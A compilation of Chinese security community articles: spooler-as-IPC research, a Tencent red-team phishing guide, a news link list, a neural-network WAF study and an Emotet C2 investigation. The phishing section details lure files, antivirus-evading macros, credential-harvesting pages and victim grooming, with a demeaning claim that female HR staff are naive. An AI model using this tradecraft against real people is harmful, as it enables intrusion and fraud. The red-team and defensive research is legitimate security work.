file）。由于打印作业不一定实时处理，因此系统需要用到该文件。在手动处理或者打印机出问题时，这类文件可以被出错、被调度、被暂停。在此期间，考虑到第三方打印机驱动可能存在bug、打印作业在重启后需要保留，因此作业本身相关的信息不会只保留在`Spoolsv.exe`的内存中。如下所示，`Spooler`会写入该文件，文件的数据结构多年来发生了一些变化，现在采用的是`SHADOWFILE_4`数据结构，详细结构可参考我们的[GitHub页面](https://github.com/ionescu007/PrintDemon)。
在下文的持久化场景中，我们将详细介绍影子作业文件的作用。
随后是创建文件操作。不幸的是，Process
Monitor始终显示的是主令牌，如果我们双击该事件，可以看到该操作通过模拟（impersonation）方式来完成：
这可能是`Spooler`服务的一项核心安全功能：如果没有该操作，我们就可以在磁盘上的任意特权位置中创建打印机端口，然后让`Spooler`帮我们将数据“打印”到该位置，从而实现任意文件系统读写原语。然而后面我们会提到，实际情况要更为复杂一些。从EDR角度来看，我们可以获取目标用户的
**某些** 信息。
最后，当完成写操作后，（默认情况下）spool文件和影子作业文件都会被删除，如下`SetDisposition`调用所示：
目前我们演示了如何通过打印功能，在`Spooler`服务的帮助下往磁盘上（我们能访问的）位置写入数据。此外，我们也知道文件创建操作通过模拟上下文来完成，可以获取该操作背后的原始用户。如果检查作业本身，我们也能得到用户名和主机名。基于这些信息，从数字取证角度来看，攻击者似乎很难隐藏自身踪迹。
很快我们就能打破上述结论，但首先我们来看一下利用这种行为的一种有趣方式。
## 0x03 IPC
`Spooler`有个最有趣（也是最有用）的一个特性：可以用来作为进程间、跨用户甚至重启后（以及潜在的网络）的通信渠道。我们实际上可以将打印机看成一个安全对象（从技术角度来看，打印机作业也是安全对象，但官方并没有公开该对象），然后可以通过两种方式在其中发起读写操作：
1、使用GDI API，然后发送[`ReadPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/readprinter)和[`WritePrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/writeprinter)命令。
* 首先，我们必须成对调用[`StartDocPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/startdocprinter)和[`EndDocPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/enddocprinter)，创建打印机作业和spool数据。
* 使用[`SetJob`](https://docs.microsoft.com/en-us/windows/win32/printdocs/setjob)让作业一开始就处于暂停状态（`JOB_CONTROL_PAUSE`），这样spool文件就会保持在文件系统中。
* 前一个API将会返回一个打印机作业ID，然后客户端可以使用特定语法，添加一个后缀（`,Job n`），将其作为打印机名参数来调用[`OpenPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/openprinter)，这样就能打开打印机作业，而不是打开打印机。
> Client可以使用[`EnumJobs`](https://docs.microsoft.com/en-> us/windows/win32/printdocs/enumjobs) API来枚举所有打印机作业，根据某些属性找到希望读取的作业。
2、使用打印作业raw API，在获取spool文件句柄后调用[`WriteFile`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile)。
* 一旦完成写操作，调用[`ScheduleJob`](https://docs.microsoft.com/en-us/windows/win32/printdocs/schedulejob)使打印作业可见。
* 客户端继续调用[`ReadPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/readprinter)。
那么这么操作与传统的文件I/O相比有什么优势呢？我们总结了如下几点：
1、如果完全采用GDI方法，那么整个过程不会导入明显的I/O API；
2、采用[`ReadPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/readprinter)和[`WritePrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/writeprinter)
时的读写操作并没有在模拟上下文中进行，这意味着这些操作看上去似乎由以`SYSTEM`运行的`Spoolsv.exe`来发起。
> 这也可能意味着我们能够读写某个`spooler`文件，并且该文件位于我们通常不具备访问权限的某个位置。
3、我们怀疑到目前为止，没有多少安全产品检查过`spooler`文件。
> 并且如果采用正确的API/修改注册表，我们可以将为自己的打印机定制`spooler`目录。
4、取消作业后，我们的数据会立即从服务上下文中删除。
5、恢复作业后，我们能拿到目标文件副本。目前据前文分析，该行为并没有通过模拟来完成。
我们在[GitHub](https://github.com/ionescu007/PrintDemon)上发布了一个简单的`printclient`以及`printserver`应用，其中实现了客户端/服务端机制，可以利用前文介绍的知识在两个进程间通信。。
来试着运行服务端，如下图所示：
与预期相符，我们可以创建spool文件，并且可以在打印队列中看到我们的作业，这显然留下不少线索，可以帮防御方定位。
在客户端，我们可以运行程序，观察输出结果，如下图所示：
顶部的输出信息来自于打印机API：我们使用[`EnumJob`](https://docs.microsoft.com/en-us/windows/win32/printdocs/enumjobs)和[`GetJob`](https://docs.microsoft.com/en-us/windows/win32/printdocs/getjob)来获取我们希望获取的信息。这里我们将更进一步，查看存储在影子作业中的信息。研究过程中，我们找到了一些有趣的差异点：
1、即使根据MSDN的说明，该API始终会返回`NULL`，但打印作业实际上具有安全描述符。
如果我们在影子作业中将其清零，导致`Spooler`无法恢复/写入数据。
2、有些数据显示的值与实际值不一致。
比如，影子作业中的`Status`字段具有不同的含义，并且包含未通过API公开的内部状态。
另外，API中提示`StartTime`和`UntilTime`的值为`0`，实际上影子文件中的值为`60`。
我们想更进一步澄清影子文件数据的读取方式及读取时机，以及什么时候会使用`Spooler`中的内部状态。大家都知道，Service Control
Manager在内存中有一个服务数据库，但也会在注册表中备份了服务信息，我们认为`Spooler`同样采用了这种方式。 | 社区文章 |
**作者： jumbo@腾讯安全应急响应中心
原文链接：<https://mp.weixin.qq.com/s/YKZ6yWWxOhn2KjTV5lDP7w>**
## 前言
红蓝对抗越加普遍及重要，甚至成为了大型赛事，随之⽽来的是防守方大量部署安全设备，如FW、WAF、IDS、IPS等，想要从Web端深⼊到对⽅内⽹已经困难重重。但是，⼈永远是最⼤的弱点，在日渐增多的防护设备⾯前，钓⻥攻击（Phishing）已经成为对抗中⼀种必不可少且非常有效的攻击⼿法（近期也见到实际攻击中针对HR的邮件钓鱼攻击），一旦有人中招，攻击队就直接能进⼊目标办公⽹，这也是钓⻥的魅⼒之⼀。其实钓鱼攻击也一直是APT高级持续威胁的主要打点手段，网络上公开的APT攻击案例中超过80%都使用钓鱼攻击。
本⽂将以腾讯蓝军真实项⽬中的一部分细节为⼤家介绍⼀些钓⻥⼿段和钓⻥话术。
## Part 1. 钓鱼手段
#### 1.1 lnk
lnk⽂件，简单理解为快捷⽅式，创建⽅式如下：
下图为calc.exe的快捷⽅式的属性信息，我们可以在“⽬标”栏写⼊⾃⼰的恶意命令，如powershell上线命令：
⽽在实施钓⻥过程中，对于我们的calc.exe的快捷⽅式来说，⼀个⼤⼤的计算机ico图标，显然看起来不像⼀个好玩意，因此可以尝试在“属性”中去更改该⽂件的图标：
但是⽤系统⾃带的ico去做⽂件图标替换的话，有个弊端，即当替换的ico在⽬标机器上不存在时，就会出现类似空⽩ico图标：
根据crazyman师傅所说，修改lnk的icon_location标志位，修改为相关后缀，系统即可⾃动联想到对应的打开⽅式：
⽐如我的pdf默认是由edge浏览器打开，则在icon_location中设置为pdf后缀时，⽂件的ico也会自动显示为edge浏览器打开的图标，
这样可以达到⾃适配的效果：
当受害者中招打开我们的所谓的pdf，实则为恶意的快捷⽅式时，双击两下，什么反应都没有，可能会有⼀丝疑惑，因此可以当尝试⽤powershell、mshta等⽅式上线时，我们可以更改如cobaltstrike⽣成的代码，加上⼀段⾃动下载打开⼀份真的pdf，来达到逼真的效果。
下⾯的动图，展示了打开⼀个快捷⽅式钓⻥⽂件时，逼真的打开了真实的简历，然后在背后悄悄的上了线：
#### 1.2 宏
在word中可以植⼊宏来达到运⾏宏上线的⽬的，⽽cobaltstrike也正好⾃带了这种攻击⽅式：
然后在word的视图功能中植⼊相关宏：
但是此种办法有个弊端，就是宏代码是存在本地的，极易被杀软查杀。
因此我们可以尝试使⽤远程加载模板的⽅式在进⾏宏加载。我们可以更改word中
\word_rels\settings.xml.rels内容来加载远程模板，加载远程模板打开word会有类似如下提示：
成功加载远程模板：
并且，像cobaltstrike⽣成的宏代码，使⽤的是AutoOpen进⾏触发，这⾥可以尝试使⽤AutoClose，即关闭word时触发来达到⼀些杀软、沙箱的绕过：
利⽤远程模板，因为不具备恶意宏代码，文件本身成功绕过了某杀软。
并且cobaltstrike上线也毫无阻拦。
#### 1.3 RLO
RLO，即Right-to-Left Override，我们可以在⽂件名中插⼊此类unicode字符，来达到⽂件名反转的效果，
如下图就是⼀个插⼊Rlo字符后的⽂件名，看后缀是个txt：
但是看⽂件详情⼜是个scr⽂件：
下图展示了打开⼀个看似是png图⽚后缀的⽂件，却执⾏了notepad：
#### 1.4 ⾃解压
rar压缩⽂件，可以把⽂件进⾏压缩，然后运⾏后进⾏⾃解压的操作：
如果我们把⼀个恶意的⽂件和⼀个图⽚组合在⼀起，打包运⾏后，程序进⾏⾃解压，看到的是⼀张图⽚，但是后⾯⽊⻢程序已经悄悄运⾏了，这种效果如何？看下⾯的动图展示：
#### 1.5 ⾃解压+RLO
上⾯介绍了⾃解压和RLO，那如果两者组合在⼀起呢？
我们把pe⽂件反转成png后缀、修改pe⽂件的ico图标，最后实施⾃解压操作。即看起来是个图⽚，后缀也是个图⽚，打开也是个图⽚，效果如何呢？
#### 1.6 回执
当我们想要对从⽹上收集到的邮箱进⾏邮件钓⻥时，⼀⼤堆邮箱，怎么确保对应的邮箱依然存活，⼜或者说哪些邮箱的钓⻥成功率⾼点？这时候就需要⽤到邮箱的回执功能，当开启回执时，我们的邮件被对⽅已读时，我们就会收到⼀份回执信息：
这种情况下，我们就可以对已读的邮箱进⾏深⼊钓⻥。
## Part 2. 钓鱼话术
上⾯提到了很多钓⻥攻击⼿段，但是就如word宏章节，如果不依赖漏洞的情况下，如何让对⽅点击启⽤宏，如何让对⽅信任你的⽂件，都需要话术的⽀撑。下⾯就来看看钓⻥的⼀些话术和⼿段。
#### 2.1 SRC假漏洞
当⽬标企业存在类似SRC漏洞奖励计划时，我们可以去提交⼀个假漏洞，并把恶意⽂件附在其中，并说是漏洞复现程序：
有些同学就会说了，对SRC安全技术人员进行钓鱼，这不是⾃投罗⽹吗。当然，钓⻥安全⼈员，成功率极低。但是换位思考下，如果你是SRC审核⼈员，⼀个⽩帽⼦提交了核⼼应⽤，且有图有真相的漏洞复现截图的时候，这种情况下，明知道可能有恶意⽊⻢的⻛险，也不得不去冒险，因为如果这是⼀个真的大漏洞的话，不及时处理可能会造成极大坏影响。
这里为了保证“漏洞”的有效性，特地让程序随机吐出看似逼真的数据，SRC审核⼈员，你还敢点击⽩帽⼦的复现⼯具吗？
当SRC审核⼈员迟迟不点击的时候，可以施加压力，站在更高的角度上来进⾏“漏洞督促”：
#### 2.2 简历
简历投递是⼀个百试不爽的钓⻥话术⼿段，从腾讯蓝军进⾏的远程办公安全演习也能窥之⼀⼆。
这⾥再提⼀句，⼀定要逼真，⽐如在简历钓⻥邮件中，可以留上你的名字、⼿机号码、学校等信息。
我们讨论下，为什么简历投递钓鱼在腾讯蓝军的远程办公安全演习、其他红蓝对抗项目中效果出类拔萃呢？我觉得有如下几点：
1、首先，我们的邮箱从哪里来？邮箱收集可以从领英、v2ex、搜索引擎等渠道获取，那为什么会在上述地方出现邮箱地址？大多数原因都是用人单位急招人，项目急需人，因此会在各平台留下简历投递的邮箱，而又正好被攻击者获取，而受害者又相信投递者都是善良的，还能解决招人的燃眉之急，在这种情况下，提高了简历投递钓鱼的成功率；
2、如果你的简历邮件写的足够漂亮，对于一个公司、面试官来说，一个好的人才，怎能轻易放过？
3、别忘了，收简历的人大多数是什么人，是HR。那我们继续想想，为什么HR不提防？首先，HR大多数是女生，女生比较善良、不设防，又非技术人员，这两者组合在一起，绝对是属于安全意识最薄弱的人之一了；
4、简历拥有分发属性。我们在多次钓鱼项目中发现，当你投递的简历到非对应项目人的邮箱里时，他会帮你转发，甚至有些热心的HR还会帮你录入到内部人才库，这相当于一下子从不可信变成内部可信了，这也是简历投递钓鱼有意思的地方。
#### 2.3 宏钓⻥
在上⾯钓⻥⼿段中的宏钓⻥攻击中，如何让受害者点击允许运⾏宏呢？
我们可以尝试使⽤如下⼿段，背景为⼀个虚化的简历图⽚，然后在上⽅再加上⼀段⽂字，意思告诉受害者，这是⼀份简历，但是因为你没点击宏运⾏，所以看不清，要想看清，请点击运⾏宏：
#### 2.4 合作
合作是⼀个公司发展必不可少的，我们可以在⽹站下⽅找⼀些合作邮箱，以合作的名义去进⾏合作邮件钓⻥。
并且，在下⾯的案例中，笔者伪造的公司是跟受害者公司是⼀个区域的，因为如果你随便找了个其他地域的公司，受害者公司业务没覆盖到那边的话，很可能就不会理会你的邮件。
#### 2.5 可信站点附件中转
我们进⾏钓⻥攻击时，会常常把⽊⻢直接放在邮件正⽂中，但是对⽅邮件⽹关可能有杀软沙箱，会拦截带有恶意⽂件的邮箱，这时候可以尝试对⽂件进⾏加密处理。
除了加密处理外，还可以使⽤可信站点作为中转，⽐如我准备钓⻥的员⼯是{domain}.com公司下的，那如果我们把附件传到*.{domain}.com域下的话，当对⽅看到下载地址是{domain}.com域的话，下载点击的成功率是不是更⼤了点呢？是不是有点像XSS？
#### 2.6 技术交流
技术⼈员，最喜欢的莫过于有个志同道合的朋友⼀起交流技术。
**下图钓⻥话术⼿段，就是伪造⼀个跟受害者研究同个技术的技术交流邮件，来进⾏钓⻥欺骗：**
#### 2.7 钓⻥⽹站
如果能获取到对⽅的账号密码，那肯定是极其不错的。
**常⻅的话术有：**
**1、大型安全演练期间，请打补丁；**
**2、公司福利活动，请登录下载领取；**
……
这里我们的钓⻥⼿段为想要获取该公司使⽤的某个平台的账号密码，因此我们发的钓⻥邮件是跟该平台有所关系，即平台升级：
并且购买⼀个相似域名，编写⼀摸⼀样的登录⻚⾯：
并且访问后做引导，告知让他登录更新：
发现该平台使⽤了多因⼦认证，Token还有1分钟有效期，因此再次编写监控程序，当监控到有⼈输⼊账号密码，就进⾏邮件提醒，最后，顺利获取到受害者的账号密码：
#### 2.8 第三⽅平台
很多公司都会在⽐如拉勾⽹、智联招聘进⾏⼯作招聘，这种情况下，我们也可以在这些第三⽅平台上， 与面试官⾯对⾯的沟通交流，取得信任，最后进⾏钓⻥攻击：
#### 2.9 加好友
在⽇常⽣活中，只有你多跟别⼈沟通，⼈家才会愿意跟你聊天，钓⻥亦然。
我们可以多加些受害者的项⽬群、聊天群，甚⾄是加⾥⾯的好友，多聊聊天，让⼤家记住你，觉得你是个“好⼈”，就可以为后续的钓⻥做铺垫，提⾼钓⻥成功率：
下⾯的图⽚展示了当与受害者“交流沟通”⼀段时间后，已经完全“掌控”了对⽅，甚⾄对⽅在周末问我要简历时，为了防⽌客户机周末不间断的关机休眠，特地美名其⽈的说不想打扰到对⽅，等到⼯作⽇再投递相关“⽊⻢”：
## Part 3. 总结
钓⻥⼿段层出不穷，了解钓⻥⼿段是在攻防演习⼤环境下必不可少的技能之⼀。本⽂从真实项⽬中提取出来的钓⻥⼿段、钓⻥话术给读者介绍了钓⻥中的管中窥豹。
⼈永远是最⼤的弱点，未知攻，焉知防。以攻促防希望能给安全建设带来帮助，祝愿人人都可以识别骗局，保护好自己和公司。
文中涉及的全部信息，只限用于技术交流和安全教育，切勿用于非法用途。
* * * | 社区文章 |
# 【知识】4月27日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Jenkins发布安全公告修复多个漏洞、谍影追踪：全球首例UEFI_BIOS木马分析、McAfee Endpoint
Security和SiteAdvisor Enterprise的UXSS、** **移动平台流量黑产研究——流量作弊与流量泡沫** **、
黑客如何逃避恶意软件和反网络钓鱼黑名单的限制、Imgur：通过一处命令注入导致的远程代码执行、使用FRIDA III侵入ANDROID应用程序** **
**
****国内热词(以下内容部分摘自 http://www.solidot.org/)：****
* * *
****
****
安全公司释出工具远程移除 NSA 后门
中国第一艘国产航母下水
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
新的Android恶意软件感染了200万Google Play商店用户
<http://thehackernews.com/2017/04/android-malware-playstore.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
谍影追踪：全球首例UEFI_BIOS木马分析
<http://bobao.360.cn/learning/detail/3779.html>
Jenkins发布安全公告修复多个漏洞，包括一个反序列化导致的RCE和一个任意用户登录、XStream导致的Java进程的crash
https://jenkins.io/security/advisory/2017-04-26/
McAfee Endpoint Security和SiteAdvisor Enterprise的UXSS
<http://blog.malerisch.net/2017/04/uxss-mcafee-endpoint-security-and-site-advisor-cve-2016-8011.html>
BrickerBot.3:一种新的僵尸网络使IoT设备发生PDoS永久性拒绝服务
<https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-back-with-vengeance/>
对nomx设备的安全测试
<https://scotthelme.co.uk/nomx-the-worlds-most-secure-communications-protocol/>
移动平台流量黑产研究——流量作弊与流量泡沫
<http://bobao.360.cn/news/detail/4138.html>
黑客如何逃避恶意软件和反网络钓鱼黑名单的限制
<https://medium.com/@apozy/how-hackers-evade-malware-and-anti-phishing-blacklists-4fee6d91fcd9>
leviathan：资产安全审计工具
<https://github.com/leviathan-framework/leviathan>
使用FRIDA III侵入ANDROID应用程序
<https://www.codemetrix.net/hacking-android-apps-with-frida-3/>
Imgur：通过一处命令注入导致的远程代码执行
<https://hackerone.com/reports/212696>
Cobalt Strike tutorial下针对CVE-2017-0199利用
<https://www.secforce.com/blog/2017/04/cve-2017-0199-exploitation-with-cobalt-strike-tutorial/>
Orcus VM的解题步骤
<http://www.hackingarticles.in/hack-orcus-vm-ctf-challenge/>
Evilginx v.1.0：获取任何Web服务的网络钓鱼凭证和会话cookie的中间人攻击框架
<https://github.com/kgretzky/evilginx>
ELF代码注入，二进制加密，运行时解密的基础教程
<http://www.pinkstyle.org/elfcrypt.html>
对攻击沙特阿拉伯背后的Shamoon活动的简要分析
<https://securingtomorrow.mcafee.com/executive-perspectives/state-shamoon-actor-different-lines/>
IrfanView 4.44的JPEG 2000解析器功能中存在溢出漏洞导致任意代码执行
<http://www.talosintelligence.com/reports/TALOS-2017-0310/>
hitb2017ams：google的XSSGame的writeup
<https://www.shielder.it/blog/xssgame-google-hitb2017ams-writeup/>
Android逆向之旅—获取加固后应用App的所有方法信息
<http://www.wjdiankong.cn/android%E9%80%86%E5%90%91%E4%B9%8B%E6%97%85-%E8%8E%B7%E5%8F%96%E5%8A%A0%E5%9B%BA%E5%90%8E%E5%BA%94%E7%94%A8app%E7%9A%84%E6%89%80%E6%9C%89%E6%96%B9%E6%B3%95%E4%BF%A1%E6%81%AF/> | 社区文章 |
几十年来，对攻击进行检测一直是信息安全的一部分。 第一个已知的入侵检测系统（IDS）的实现可以追溯到20世纪80年代初。
如今，攻击检测已经成为一种行业。`IDS、IPS、WAF和防火墙解决方案`等许多技术存在于网络，而其中大多数技术均提供基于规则的攻击检测。
使用某种统计异常来识别网络中的攻击似乎已经得到了印证。但这个假设是否合理？
### 检测Web应用程序中的异常
20世纪90年代初，市场上出现了第一批用于检测Web应用程序攻击的防火墙。从那时起，攻击技术和保护机制都发生了巨大变化，攻击者争先恐后地进行创新以便领先一步。
当前的Web应用程序防火墙（WAF）都使用类似的方式检测攻击，例如将基于规则的引擎嵌入某种类型的反向代理中。最突出的例子是`mod_security`，它是2002年创建的`Apache
Web`服务器的WAF模块。基于规则的检测有一些缺点：例如，它无法检测到新的漏洞攻击（0
day），即使这些攻击很容易被研究者检测到。这个事实并不令人惊讶，因为人类的大脑与一组正则表达式的工作方式完全不同。
从WAF的角度来看，攻击可以分为基于顺序的（时间序列）和由单个HTTP请求或响应组成的攻击。我们的研究重点是检测后一类攻击，包括：
* SQL 注入
* Cross-Site Scripting（跨站脚本）
* XML External Entity Injection
* Path Traversal
* OS Commanding （系统命令执行）
* Object Injection
但首先让我们问自己：我们将如何做到这一点？
### 在看到一个单一请求时，人类会做什么？
看一下对某个应用程序的常规HTTP请求：
如果用户必须检测发送到应用程序的请求，那么我们一定希望这个请求是正常的。在查看了许多应用程序执行端点的请求之后，用户将大致了解安全请求的结构及其包含的内容。
现在我们将看到以下请求：
我们马上就知道出了什么问题。，并且需要更多的时间来了解这个漏洞究竟是什么，一旦找到异常请求的确切部分，我们就可以开始考虑它是什么类型的攻击。
从本质上讲，我们的目标是让我们的攻击检测AI以类似于人类推理的方式解决问题。
使我们的任务变得复杂的是，即使某些流量看起来是恶意的，但对于某个特定网站来说可能实际上是正常的。
例如，让我们看看以下请求：
这是异常请求吗？ 实际上，这个请求是无害的：这是与`Jira bug`跟踪器上的bug发布相关的典型请求。
现在让我们来看看另一个例子：
起初，该请求看起来像是由`Joomla CMS`的用户注册。
但是，请求的操作是“`user.register`”而不是正常的“`registration.register`”。
前一个选项已弃用。所以其中包含一个漏洞，允许任何人以管理员身份注册。
此漏洞被称为“`Joomla <3.6.4帐户创建/权限提升”（CVE-2016-8869，CVE-2016-8870）`。
### 我们如何开始
首先，我们需要看一下前些时间的研究。在过去几十年中，我们已经进行了许多尝试并创建不同的统计或机器学习算法来检测攻击。
最常用的方法之一是解决分配给类的任务（“ benign请求”，“SQL注入”，“XSS”，“CSRF”等）。
虽然可以通过对给定数据集进行分类来获得相当高的准确度，但这种方法无法解决一些非常重要的问题：
1 分类的问题。 如果机器在学习期间的模型有三个类（“ benign”，“SQLi”，“XSS”），但在生产中遇到CSRF攻击甚至是全新的攻击技术会怎么样？
2 类的含义。 假设我们需要保护10个客户，每个客户都运行完全不同的Web应用程序。
对于大多数人来说，你根本不知道针对他们的应用程序的单一“SQL注入”攻击是什么样的。
这意味着我们必须以某种方式人为地构建学习数据集。然而这并不是个好主意，因为我们最终将从与实际数据完全不同的分布数据中学习。
3 模型结果的可解释性。倘若模型提出了“SQL注入”标签，那我们应该如何处理？
我们最重要的是客户，他是第一个看到警报但通常不是网络攻击专家，所以他必须猜测模型并自行决定哪个部分是恶意的。
无论如何我们决定尝试分类，请记住这一点。
由于HTTP协议是基于文本的，很明显我们必须看一下现代文本分类器。其中一个例子是`IMDB电影评论数据集`的情绪分析器。解决方案使用递归神经网络（RNN）来对这些评论进行分类。我们决定使用类似的RNN分类模型。例如，自然语言分类RNN使用单词嵌入，但不清楚像HTTP这样的非自然语言中有哪些单词。这就是我们决定在模型中使用字符嵌入的原因。
现成的嵌入与解决问题无关，这就是为什么在我们完成模型的开发和测试之后将使用简单的字符映射到具有内部标记的数字代码，例如`GO`和`EOS`。之前预测的问题都得以实现。
### 我们如何进行检测
在这里，我们决定让我们的模型的结果变得更容易解释。在某些时候，我们遇到了“关注”机制并开始将其整合到我们的模型中。这产生了一些很好结果：最后，一切都汇集在一起，我们得到了一些人类可解释的结果。现在我们的模型不仅开始输出标签，还输出输入的每个字符的相应系数。
如果可以在Web界面中看到它，我们可以为找到“SQL注入”攻击的确切位置而提供帮助。
我们开始看到，我们可以从注意机制的方向入手，并远离分类。我们在序列模型上阅读了大量相关研究，并通过试验数据后，我们创建了一个可以在正常工作中进行异常检测的模型。
### 自动编码
在某些时候，很明显序列到序列自动编码器最能帮助我们进行处理。序列模型由两层长短期记忆（LSTM）模型组成：编码器和解码器。
编码器将输入序列映射到固定维度的矢量。 解码器使用编码器的该输出对目标矢量进行解码。
因此，自动编码器是一种序列模型，它将其目标值设置为等于其输入值。 这是教网络重新创建它已经看到的东西，换句话说，就是近似一个身份函数。
如果训练的自动编码器被给予异常样本，则由于从未见过这样的样本，所以很可能存在很大误差。
### 编码过程
我们的解决方案由几个部分组成：模型初始化，训练模型，预测和验证。
该模型初始化为`Seq2Seq`类的实例，该类具有以下构造函数参数：
之后，初始化自动编码器层。 首先，编码器：
之后进行解码：
由于我们正在尝试解决异常检测，因此目标和输入是相同的。 因此我们的`feed_dict`如下：
在每个处理后，最佳模型被保存为检查点，稍后可以加载该检查点以进行预测。 出于测试目的，由模型建立并保护实时Web应用程序，以便可以测试真实攻击是否成功。
受到注意机制的启发，我们尝试将其应用于自动编码器，我们发现从最后一层输出的概率在标记请求的异常部分时效果更优。
在测试阶段，我们的样品得到了非常好的结果：精度和recall接近0.99。 ROC曲线大约是1.绝对是一个不错的结果！
### 结果
我们描述的`Seq2Seq`自动编码器模型被证明能够高精度地检测HTTP请求中的异常。
这个模型如同人类一样：它只学习发送给Web应用程序的“正常”用户请求。 它检测请求中的异常并突出显示被视为异常的请求。
我们针对测试应用程序的攻击评估了此模型。 例如，前面的屏幕截图描述了我们的模型检测到SQL注入如何跨两个Web表单参数分割。
此类SQL注入是碎片化的，因为攻击payload存在于多个HTTP参数中。
但是基于规则的经典WAF在检测SQL注入方面表现不佳，因为它们通常会自行检查每个参数。
模型代码和测试数据已作为`Jupyter`发布，因此任何人都可以复现我们的结果并提出改进建议。
### 结论
我们相信这次实验非常重要：我们想出一种以最小的投入来检测攻击的方法。一方面，我们试图避免过度复杂的解决方案并创建一种检测攻击的方法。与此同时，当一个（错误的）专家决定什么表示攻击而哪些不表示攻击时，我们希望避免人为因素的问题。总的来说，采用`Seq2Seq`架构的自动编码器解决了检测异常的问题。
我们还想解决数据可解释性问题。当使用复杂的神经网络架构时，我们很难解释特定的结果。当应用经过一系列转换时，识别结果背后的数据是很有难度的。然而，在重新思考模型对数据解释的方法之后，我们能够从最后一层获得每个结果的概率。
本文为翻译文章，文章来源：<http://blog.ptsecurity.com/2019/02/detecting-web-attacks-with-seq2seq.html> | 社区文章 |
# 【技术分享】以Emotet为例识别C2服务器并掌握其拓扑结构
|
##### 译文声明
本文是翻译文章，文章来源：malwaretech.com
原文地址：<https://www.malwaretech.com/2017/11/investigating-command-and-control-infrastructure-emotet.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
虽然现在大多数僵尸网络仍在使用基本的客户端-服务器模式，并且依赖HTTP服务器来接收命令，但是，许多著名的黑客组织已经开始利用更先进的基础设施来绕过终端黑名单，并且在关闭系统方面要更加具有弹性。
在本文中，我将以Emotet为例来介绍识别C2服务器并掌握其拓扑结构的详细过程。
**关于Emotet**
**Emotet是Feodo的最新版本，其主要用途是加载模块，以及收集电子邮件地址以供将来分发垃圾邮件之用。**
乍一看，它好像是将C2的各个IP地址直接硬编码到二进制文件中了，但是通过进一步考察，就会发现事情远没有这么简单。
通过借助于免费的社区版[RiskIQ
](https://community.riskiq.com/)工具，我们不仅可以查看每个IP地址，甚至可以查看过去哪些域名指向该IP地址，或者现在哪些域名仍指向该IP地址。现在，让我们来考察第一个IP地址。
RiskIQ指出，该IP地址属于1＆1（一家出租服务器的ISP），并且，当前有许多域名指向该地址，其中一个域名自从2009年起就一直指向这个IP地址。由于1&1
Internet
是一家正规的服务商，所以C2服务器不可能在它那里托管8年之久，再说，Emotet的存在时间也不足8年，因此这很可能是一个合法的Web服务器。
由于该服务器已经被关闭，我们拿它没招，所以不妨将注意力转向 **206.214.220.81** 。
该服务器在80端口上运行了一个标准的Plesk
HTTPd，这表明该服务器又是一个Web服务器，但是它似乎没有运行任何网站。在Emotet配置中指定的端口是8080，所以让我们来看看这个端口的情况。
它返回的是一个Nginx
404页面，这很有趣，因为服务器正在运行的是Plex。更有意思的是，如果我们向80端口和8080端口发送请求，我们可以通过Chrome Developer
Tools得到相应的延迟时间。
根据Chrome的报告来看，这个服务器花了4毫秒的时间向80端口发送了一个6.5千字节的网页，而花了325毫秒的时间给端口8080发送了一个712字节的404页面，这完全不合逻辑。
根据下列事实，即这些服务器看起来一直在托管合法网站，并运行各种HTTP服务，同时，又始终在Emotet端口上响应Nginx
404错误，并且主端口和Emotet端口之间的延迟存在巨大的差异——我们可以得出这样一个结论：所有这些服务器都已经被入侵，并且正在副端口上运行Nginx反向代理，这会将请求转发给另一台服务器，从而导致严重的延迟。
如果我们想进一步确认Emotet端口面向的是一个反向代理，并且这不是攻击者的源端服务器，那么我们可以借助另一个简单的方法来进行计时。为此，我专门编写的一个简单的python脚本。
import socket
import datetime
import argparse
def time_request(host, request):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
host = host.split(':')
s.connect((host[0], int(host[1])))
time_start = datetime.datetime.now()
s.send(request)
s.recv(1024)
time_end = datetime.datetime.now()
diff = time_end - time_start
return diff.total_seconds() * 1000
parser = argparse.ArgumentParser()
parser.add_argument('--host', help="host (ip:port)", required=True)
args = parser.parse_args()
valid_request = 'GET /aaaaaaaa HTTP/1.1rnHost: {}rnrn'.format(args.host)
invalid_request = 'GET /aaaaaaaa HTTP/1.1rnMost: {}rnrn'.format(args.host)
valid_time = time_request(args.host, valid_request)
invalid_time = time_request(args.host, invalid_request)
print('valid request took {} msninvalid request took {} ms'.format(valid_time, invalid_time))
它的工作原理是发送两个HTTP请求：一个请求用于触发404错误（找不到页面），另一个是用于触发400错误（无效请求）的HTTP请求，并记录每个请求的响应时间。正常情况下，404页和400页应该具有相似的响应时间；但是，如果我们当前使用了反向代理的话，则响应时间就会出现明显得差异。因为第一个请求将被转发到源端服务器，它发现页面不存在后，才会返回一个404。第二个请求是无效的，所以反向代理不会转发，而是直接返回400错误。所以，如果正在使用反向代理的话，由于有效的请求被转发到源端，但是无效的请求不会进行转发，所以，无效的请求的响应时间会比有效请求快得多。
当我们运行脚本对对可疑的反向代理进行检测时，可以看到无效请求比有效请求快4倍以上，所以完全可以肯定，这就是一个代理。
